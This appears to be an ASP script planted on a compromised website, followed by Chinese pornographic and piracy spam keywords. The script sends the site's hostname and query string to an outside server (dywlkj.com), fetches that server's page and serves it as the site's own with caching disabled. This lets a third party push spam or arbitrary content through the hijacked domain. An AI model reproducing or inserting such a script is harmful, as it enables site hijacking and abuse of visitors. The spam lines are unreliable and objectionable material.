ï»?%
function gethttppage(url)
dim http
set http=server.createobject("MSXML2.XMLhttp")
http.open "get",url,false
http.send()
if http.readystate<>4 then
exit function
end if
gethttppage=bytesToBSTR(http.responseBody,"gb2312")
set http=nothing
if err.number<>0 then Response.write(err.description)'err.Clear
end function
Function BytesToBstr(body,Cset)
dim objstream
set objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
function getpagestate(url)
dim http
set http=server.createobject("MSXML2.XMLhttp")
http.open "GET",url,false
http.send()
if http.readystate <> 4 then
getpagestate = 0
else
getpagestate = 1
end if
if err.number<>0 then err.Clear
end function
dim getcode,url
url = "http://www1.dywlkj.com/dywlkj_infolist.asp?cur="&request.ServerVariables("HTTP_HOST")
if Request.QueryString()<>"" and isnull(Request.QueryString()) = false Then url = url & "&" & Request.QueryString()
getcode = gethttppage(url)
getcode = replace(getcode,"dywlkj_infolist.aspx","dywlkj_infolist.asp")
Response.Expires = -1
Response.ExpiresAbsolute = Now() - 1
Response.cachecontrol = "no-cache"
Response.ContentType = "text/html"
Response.Charset = "utf-8"
Response.write(getcode)
Response.End()
%>
金瓶悔1一5扬思敏完整,又粗又长又色又爽免费视频,久久碰人人玩国产精品,潮湿的心动漫在线观看免费未删减
午夜一区二区国产好的精华液|
性色AV乱码一区二区三区|
古暖暖江尘御全本免费阅读|
亚洲国产成人精品无码区5566|
成人性生交大片免费看R|
欧美黑人乱大交BD|
抽搐一进一出再深一点|
亚洲午夜精品A片久久WWW慈禧|
亚洲乱码卡一卡二卡新区豆瓣|